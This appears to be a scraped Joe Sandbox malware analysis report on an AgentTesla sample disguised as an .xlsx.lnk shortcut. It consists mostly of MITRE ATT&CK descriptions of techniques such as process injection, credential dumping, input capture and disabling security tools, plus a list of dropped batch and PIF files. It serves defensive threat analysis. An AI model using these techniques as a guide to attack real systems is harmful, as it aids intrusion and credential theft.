Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API ).
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report FT. 40FE CNY .xlsx.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\Public\Libraries\KDECO.bat

C:\Users\Public\Libraries\Null

C:\Users\Public\Libraries\Ucvuiswb

C:\Users\Public\Libraries\Ucvuiswb.PIF

C:\Users\Public\Libraries\UcvuiswbO.bat

C:\Users\Public\Libraries\bwsiuvcU.pif

Windows Analysis Report
FT. 40FE CNY .xlsx.lnk

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre